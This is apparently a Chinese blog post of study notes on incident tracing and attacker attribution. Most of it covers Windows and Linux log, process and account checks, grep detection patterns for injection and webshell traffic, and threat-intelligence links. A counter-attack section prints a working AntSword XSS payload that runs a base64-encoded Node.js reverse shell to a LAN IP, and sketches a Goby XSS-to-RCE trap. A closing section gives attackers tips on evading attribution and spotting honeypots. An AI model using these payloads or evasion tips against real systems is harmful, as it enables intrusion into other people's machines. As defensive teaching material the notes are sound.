当前位置: 首页 > article >正文

溯源学习笔记

一、溯源的概念

1、概念

通过对受害资产与内网流量进行分析一定程度上还原攻击者的攻击路径与攻击手法
根据已有的线索,攻击方式以及攻击特征等通过技术手段反查攻击者身份或是组织信息。

2、溯源应用的场景

2.1、护网蓝队

2.1.1、护网攻防演练蓝队分类

监控组:负责实时汇报监控平台上的告警
研判组:负责实时研判监控组反馈的告警是否为误报
处置组:负责应急处置研判组反馈的真实告警事件
溯源组:负责溯源攻击告警事件以及攻击者的相关信息
反制组:负责反制钓鱼邮件网站或者通过社工的方法反制

2.1.2、攻击画像

姓名/ID、攻击IP、地理位置、QQ、IP地址所属公司、IP地址关联域名、邮箱、手机号、微信/微博/src/id证明、人物照片、关联攻击事件。

3、应急溯源

服务器受到黑客攻击,需要进行攻击事件的溯源

二、如何还原攻击路径

1、Windows应急排查

1.1、web入侵流程

流程概述:前期准备阶段、情报收集阶段、威胁建模阶段、漏洞识别与分析、渗透攻击阶段、后渗透阶段、报告阶段、后期清理阶段、修复与复测阶段。

1.2、Windows排查

1.2.1、日志分析
1、概念

日志是记录一个服务或者应用程序在运行过程中所发生的事件和活动,通过对日志文件的分析,可以让我们对服务器的行为一目了然,分析那些可以导致攻击事件的web漏洞,同时日志还可以去监控服务器的性能和异常信息。

2、分类

web日志:web日志存放路径,windows默认路径:在安装目录下的logs文件夹下
在这里插入图片描述
tomcat日志有catalina.out、localhost、manager、local_access_log4种格式日志
apache日志、nginx日志、IIS日志有access_log和error_log两种日志
以dvwa靶场为例,当我对其进行渗透后,就会产生一些日志信息如下
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

可以以记事本形式打开,也可以导入在线日志分析网站: https://tilipa.zlsam.com/loger/

通过分析筛选出对我们溯源有用的信息,比如通过前期的观察和分析,我们已经确定攻击者的IP是来自192.xx.xx.xx的,现在我们就需要去过滤来自192.xx.xx.xx的信息。
对来自192.xx.xx.xx的信息进行分析,看它进行了什么恶意操作,比如文件上传了shell.php,就又得到了一个信息,文件名为shell.php,再根据这个信息继续溯源…
日志分析基本就是为了完整的还原整个攻击过程的流程。当然,如果你看安全设备的话,安全设备的告警时间,告警IP,告警命中报文是尤其要注意的。

3、webshell排查
3.1、文件排查

(1)各个盘下的temp相关目录%temp%
排查各个盘下的临时目录,一些恶意程序在执行时会去释放子体,通俗讲就是恶意程序运行时投放出来的文件

(2)开机启动文件(启动菜单、注册表)
在权限维持时一般都会用到启动项,这些地方可以着重关注一下
(3)浏览器的历史记录
可能有一些攻击者会通过浏览器去下载一些恶意文件,他在使用后可能不会把浏览器浏览记录清空,这也是可以排查的一点
(4)Recent文件
Recent文件就是我们最近打开的一些文件,我们可以通过去看最近运行了哪些文件去排查有没有一些可疑的文件,exe文件可以通过云沙箱进行分析
(5)攻击日期内新增的文件

forfiles /m *.exe /d 2022/10/5 /s /c "cmd /c echo @path @fdate @ftime"

(6)使用工具D盾、HwsKill、WebshellKill去查杀一些木马等

3.2、进程排查

列出进程

tasklist 

(1)查看端口得到PID

netstat -nao | findstr 端口

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

(2)根据PID查看进程对应的程序名称

tasklist /V | findstr PID
wmic process list brief | findstr PID

(3)得到程序全路径名

wmic process where processid=PID get processid,executablepath,name

(4)杀掉进程

taskkill /PID /F
wmic process where name="mysqld.exe" delete
wmic process where processid=PID call terminate

新增、隐藏账号的排查 #隐藏账号排查
1、通过命令:net user查看
2、通过“计算机管理”查看,lusrmgr.msc
3、通过Windows安全日志进行排查eventvwr
4、通过查看注册表文件进行排查 regedit
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

(1)HKEY_CLASSES_ROOT(HKCR)
存储着Windows资源管理器执行时打开正确的程序,一些规则,点击和拖放的操作
(2)HKEY_CURRENT_USER(HKCU)
存放着用户配置的一些信息,控制面板的设置等信息
(3)HKEY_LOCAL_MACHINE(HKLM)
包含着操作系统还有计算机硬件的一些特定的信息,包括一些驱动,应用程序的配置
(4)HKEY_USERS(HKU)
存储着所有用户配置文件的配置信息
5、通过Windows管理工具

wmic useraccount get name,SID
3.3、计划任务排查

cmd输入命令:

schtasks.exe

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

3.4、排查工具

病毒分析
PCHunter:http://www.xuetr.com
火绒剑:https://www.huorong.cn
Process Explorer:https://docs.microsoft.com/zhcn/sysinternals/downloads/process-explorer
processhacker:https://processhacker.sourceforge.io/downloads.php
病毒查杀
卡巴斯基:http://devbuilds.kasperskylabs.com/devbuilds/KVRT/latest/full/KVRT.exe
大蜘蛛:http://free.drweb.ru/download+cureit+free
病毒动态
CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
微步在线威胁情报社区:https://x.threatbook.cn
火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
爱毒霸社区:http://bbs.duba.net
腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html
在线病毒扫描网站
Virustotal:https://www.virustotal.com
Virscan:http://www.virscan.org
腾讯哈勃分析系统:https://habo.qq.com
Jotti 恶意软件扫描系统:https://virusscan.jotti.org
webshell查杀
D盾_Web查杀:http://www.d99net.net/index.asp
河马 WebShell 查杀:http://www.shellpub.com

1.3、系统日志

1.3.1、windows系统日志

windows系统日志包含系统日志、安全日志、应用日志等
敏感事件id:

4624 登录成功
4625 登录失败
4634 注销成功
4720 创建用户
4647 用户启动的注销
4672 使用超级用户/管理员用户进行登录

在Windows里,按win+R键,输入eventvwr打开安全日志
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

排查日志时,点击筛选当前日志可以筛选日志信息。日志可以查看所有用户登录信息,包括隐藏用户。而一些由攻击者所创建的隐藏账号通过[[…/杂记/net user命令|net user命令]]是发现不了的。
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

实际排查中重点关注事件ID:4625,短时间大量的登陆失败意味着存在暴力破解行为。

1.3.2、系统日志分析-Log Parser
登录成功的所有事件
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM Security.evtx路径 where EventID=4624"
指定登录时间范围的事件:
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM Security.evtx路径 where 
TimeGenerated>'2023-02-19 23:32:11' and TimeGenerated
提取登录成功的用户名和IP:
LogParser.exe -i:EVT –o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as 
EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as 
Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM Security.evtx路径 where 
EventID=4624"
登录失败的所有事件:
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM Security.evtx路径 EventID=4625"

2、Linux入侵排查

2.1、日志分析

Linux不是可视化的,所以对于它的排查需要通过命令来执行。
在排查Linux系统时,需要多注意当天访问次数最多的一个IP。

cut -d- -f 1 log_file|uniq -c | sort -rn | head -20 //列出当天访问次数最多的IP命令
awk '{++S[$1]}END {for (a in S) print a,S[a]}'log_file //查看每一个IP访问了多少个页面
grep "/index.php" log_file |wc -l //看某一个页面被访问的次数
grep 192.xx.xx.xx log_file| awk '{print $1,$7}' //查看某一个IP访问了哪些页面
grep -E -i "select" log_file //SQL注入检攻击检测
grep -E -i " (S)%26%23x3c%3B(S+)%3E|(S)%26%23x3c%3B(S+)%2F%3E|(S+)<(S+)>|(S+)<(S+)/" log_file	//xss跨站脚本攻击检测
grep -E -i "ping%20-c%20|ls%20|cat%20|%20pwd|net user" log_file //命令注入攻击攻击检测
grep -E -i "eval|%eval|%execute|%3binsert|%20makewebtaski|/1.asp|/1.jsp|/1.php|/1.aspx%if" logfile //网站被植入webshell后门检测
grep -E -i "login" /www/logs/access.log | grep -E -i "POST" | grep -E -i "200" //暴力破解账号攻击检测
2.2、文件分析
find -mtime 0 -name "*.php" //查找24小时内被修改的php文件,想要查询其他类型的文件可以自己替换
find -type f -name "*.php" | xargs grep 'eval' | more //查找一句话木马文件
find -ctime 0 -name "*.php" //查找今天新增加的文件
-1 代表前一天
-2 代表前二天
以此类推
find -iname "*.php" -perm 777 //查找被赋予777权限的php文件
find -user root //查找root所属组的文件
find -nouser //查找垃圾文件
awk '{print substr($4,2,11)}' logfile |sort | uniq -c //查找某一天的访问记录有多少条
awk -F:'length($2)==0 {print $1}' /etc/shadow //查找空口令账号
2.3、系统日志
日志文件说明
/var/log/cron记录了系统定时任务相关的日志
/var/log/cups记录打印信息的日志
/var/log/dmeslog记录了系统在开机时内核自检的信息
/var/log/auth.log系统授权信息,用户登录和使用的权限机制等。
/var/log/message记录系统重要信息的日志。
/var/log/btmp记录错误登录日志。
/var/log/lastlog记录系统中所有用户最后一次登录时间的日志
/var/log/wtmp永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。
/var/log/utmp记录当前已经登录的用户信息。
系统安全日志存放位置
cat /var/log/secure    // Centos系统
cat /var/log/auth      //Ubuntu系统
一般来说对应的系统有对应的日志存放位置,如果不知道对应日志存放的位置,可以运行下面这条命令
vim /etc/rsyslog.conf //查看日志存放位置
grep "Failed password" /var/log/auth.log | wc -l //密码验证失败
grep "Failed password" /var/log/auth.log | awk '{if (NF==16){c[$13]++}else{c[$11]++}}END{for(u in c)print u,c[u]}' | sort -k 2 -nr | head //查看每个ip登录失败的次数	
grep "Failed password" /var/log/auth.log | awk '{if (NF==16){c[$11]++}else{c[$9]++}}END{for(u in c)print u,c[u]}' | sort -k 2 -nr | head //查看每个用户名登录失败的次数
lastb //查看登录失败的记录
last //查看登录成功的记录

etc/passwd 是排查Linux系统异常账号时需要去排查的,在排查异常账号时要注意异常账号的uid是不是0,因为攻击者常常会把新增加的账号uid设为0,以此来获得同root用户相同的权限,同时nologin也是需要重点排查的一个地方,nologin代表用户从来没有登陆过,如果出现了其他的,需要注意一下。

ls -l /etc/passwd //可以查看文件修改时间,如果文件被修改过,什么时候新增加了用户,可以从这里看出来
awk -F: '$3==0{print $1}' /etc/passwd //查看权限为特殊权限的用户
2.4、进程分析
netstat -napt //查找网络连接的状态
top //查看系统占用程序,如果是占用非常高的程序,有可能遭受到了挖矿木马
ls -alt /proc/PID //查找恶意程序的路径
kill PID //杀死恶意程序

假如某些恶意程序打开或者关联了其他恶意程序,可以使用以下命令查看

lsof -p PID

在进行异常进程排查时,有些恶意进程可能是被攻击者做了隐藏的,可以使用以下命令查看被攻击者隐藏的进程。

ps -ef|awk '{print}'| sort -n |uniq >1
ls /proc| sort -n |uniq >2
2.5、计划任务
cat /var/spool/cron/crontabs/root //查看隐藏计划任务
crontab -u root -l
cat /etc/rc.d/rc.local
ls /etc/rc3.d

3、流量分析

wireshark使用:网络分析工具—WireShark的使用

三、如何溯源真实身份

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

1、溯源的方法

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

1.1、威胁情报平台:

01、国内威胁情报平台 #威胁情报平台
1、微步在线
https://x.threatbook.cn/
2、天际友盟RedQueen安全智能服务平台
https://redqueen.tj-un.com/
3、360威胁情报中心
https://ti.360.net/
4、奇安信威胁情报中心
https://ti.qianxin.com/
5、VenusEye威胁情报中心
https://www.venuseye.com.cn/
6、NTI 威胁情报中心
https://ti.nsfocus.com/
7、安恒威胁情报中心
https://ti.dbappsecurity.com.cn/
8、安天威胁情报中心
https://www.antiycloud.com/
9、深信服安全中心
https://wiki.sec.sangfor.com.cn/index/abroad
02、国外威胁情报平台
1、IBM X-Force
https://exchange.xforce.ibmcloud.com/
2、VirusTotal
https://www.virustotal.com/gui/home/upload
3、SANS互联网风暴中心
https://isc.sans.edu/
4、Threatcrowd 开源威胁情报
https://www.threatcrowd.org/
5、hreatMiner
https://www.threatminer.org/
6、GreyNoise
https://www.greynoise.io/

1.2、IP反查 #IP反查

https://www.chaipip.com/ 高精度IP地址查询-查IP
https://www.ipip.net/ip.html ip反查
http://ip.yqie.com/ ip地址反向查询
https://www.reg007.com/ 注册网站反查
https://ip.rtbasia.com/tbasia (lP查询)
https://www.ipplus360.com/ (IP查询)
https://tool.lu/ip/ IP地址查询在线工具

1.3、在线云沙箱

https://ata.360.cn/detection 360沙箱云
https://s.threatbook.cn/ 微步云沙箱
https://www.virustotal.com/gui/home/upload VirusTotal平台
https://www.maldun.com/submit/submit_file/ 魔盾安全分析平台
https://app.any.run/Any.Run/ 交互式恶意软件分析平台
https://habo.qq.com/ 腾讯哈勃系统

2、中国蚁剑AntSword反制

2.1、漏洞原理

漏洞版本存在v2.0.7及以下
漏洞为AntSword连接WebShell失败时对html代码的解析,导致xss漏洞。
更改webshell为

<?php header("HTTP/1.1 500 <img src=1 onerror=alert(1) />") ?>

如果蚁剑再次连接,出现
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

证明可以反制。
反弹shell:https://blog.csdn.net/weixin_75158417/article/details/144034292?spm=1001.2014.3001.5502

2.1、蚁剑反制

利用nodejs库编写payload,反弹黑客电脑的shell
使用<=AntSword2.0.7 RCE漏洞,让黑客电脑反弹shell到被攻击电脑的XXXX端口上
首先开启被攻击电脑的Netcat 监听端口XXXX

nc -Lp XXXX

更改shell.php代码
利用nodejs库反弹shell的代码(payload):

var net = require("net");
var cmd = require("child_process").exec("cmd.exe");
var socket = new net.Socket();
socket.connect(1971, "192.168.31.222", function(){
    socket.pipe(cmd.stdin);
    cmd.stdout.pipe(socket);
    cmd.stderr.pipe(socket);
});

以上代码通过创建Socket来连接被攻击的电脑ip)的XXXX端口(Netcat监听的端口)

将以上代码进行base64加密,加密后的密文:

dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpOwp2YXIgY21kID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWMoImNtZC5leGUiKTsKdmFyIHNvY2tldCA9IG5ldyBuZXQuU29ja2V0KCk7CnNvY2tldC5jb25uZWN0KDE5NzEsICIxOTIuMTY4LjMxLjIyMiIsIGZ1bmN0aW9uKCl7CiAgICBzb2NrZXQucGlwZShjbWQuc3RkaW4pOwogICAgY21kLnN0ZG91dC5waXBlKHNvY2tldCk7CiAgICBjbWQuc3RkZXJyLnBpcGUoc29ja2V0KTsKfSk7

通过javascript的eval函数来调用:

eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpOwp2YXIgY21kID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWMoImNtZC5leGUiKTsKdmFyIHNvY2tldCA9IG5ldyBuZXQuU29ja2V0KCk7CnNvY2tldC5jb25uZWN0KDE5NzEsICIxOTIuMTY4LjMxLjIyMiIsIGZ1bmN0aW9uKCl7CiAgICBzb2NrZXQucGlwZShjbWQuc3RkaW4pOwogICAgY21kLnN0ZG91dC5waXBlKHNvY2tldCk7CiAgICBjbWQuc3RkZXJyLnBpcGUoc29ja2V0KTsKfSk7`,`base64`).toString())

并替换掉我们前边写的alert(1)代码,最终写到shell.php中的代码如下:

<?php header("HTTP/1.1 500 <img src=1 onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpOwp2YXIgY21kID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWMoImNtZC5leGUiKTsKdmFyIHNvY2tldCA9IG5ldyBuZXQuU29ja2V0KCk7CnNvY2tldC5jb25uZWN0KDE5NzEsICIxOTIuMTY4LjMxLjIyMiIsIGZ1bmN0aW9uKCl7CiAgICBzb2NrZXQucGlwZShjbWQuc3RkaW4pOwogICAgY21kLnN0ZG91dC5waXBlKHNvY2tldCk7CiAgICBjbWQuc3RkZXJyLnBpcGUoc29ja2V0KTsKfSk7`,`base64`).toString())' />") ?>

黑客使用蚁剑重连,在报错的同时,反弹给了我们一个shell到Netcat监听的XXXX端口上。
利用shell执行命令,查看信息,成功拿下黑客电脑的管理员账号,ip也对应黑客电脑的ip,至此,达到反制。

3、利用Goby RCE 进行反制

3.1、漏洞原理

goby是利用xss去得到RCE1
goby的asset页面有交互性,攻击者可以点击查看扫描结果,这里就可以通过对网站文件的修改对攻击者反制。
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

将index.php文件内容写成

<?php
 header("X-Powered-By: PHP/<img	src=x	οnerrοr=alert(/xxx/)>");
?>

攻击者如果重新扫描网站,点击详情页,就会有一个xss的弹窗,
可以通过部署蜜罐引诱攻击者点击,给服务器写恶意代码文件,就可以实现rce。
参考链接:溯源(八)之利用goby RCE 进行反制黑客

4、如何防止被溯源

4.1、主机加固

1、不要保存任何可以用来分析个人和公司身份的特征的文件
2、打全补丁,开放必要端口
3、安装有效杀毒软件
4、不连接特征明显的热点
5、不要使用可能识别特征的用户名
6、不登录任何社交软件
7、保持浏览器中不会储存任何个人相关信息
8、停用摄像头等设备

4.2、特征隐藏

1、隐藏工具特征
2、隐藏交互特征
3、隐藏流量特征

4.3、识别陷阱

蜜罐的识别
1、是否存在大量请求其他域资源,
2、是否对于各大社交网站发送请求;
3、是否存在大量请求资源报错,克隆其他站时没有修改完成:
4、是否存在非常多漏洞的站点
5、获取到PC机器后,PC机器用户长时间划水摸鱼;
6、从目标获取的文件需要在沙箱或断网虚拟机运行,避免被反制;


  1. 可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 ↩︎


http://www.kler.cn/a/570166.html

相关文章:

  • 编程题 - 亲子糖果赛【JavaScript/Node.js解法】
  • 层次聚类R复现
  • 【经验分享】Ubuntu vmware虚拟机存储空间越来越小问题(已解决)
  • 苹果廉价机型 iPhone 16e 影像系统深度解析
  • 品佳诚邀您参加 3/12『英飞凌汽车方案引领智能座舱新纪元』在线研讨会
  • (未完)3D Shape Tokenization
  • 机器学习之集成学习思维导图
  • PDF文本转曲线轮廓 ​PDF转图片、提取文本和图片
  • c++ 内存管理系统之智能指针
  • 懒加载能够解决Spring循环依赖吗
  • 离线环境下python依赖包处理
  • 第15届 蓝桥杯 C++编程青少组中级省赛 202408 真题答案及解析
  • (链表 删除链表的倒数第N个结点)leetcode 19
  • 网络编程——TCP
  • 07CSS笔记——CSS3、属性选择器、结构伪类选择器、伪元素选择器
  • 质数,因数,公因数
  • 二、QT和驱动模块实现智能家居-----问题汇总1
  • AI 零样本学习(Zero-Shot Learning, ZSL)
  • 全面了解机器学习:回归、分类、分割与检测任务
  • Spring(二)容器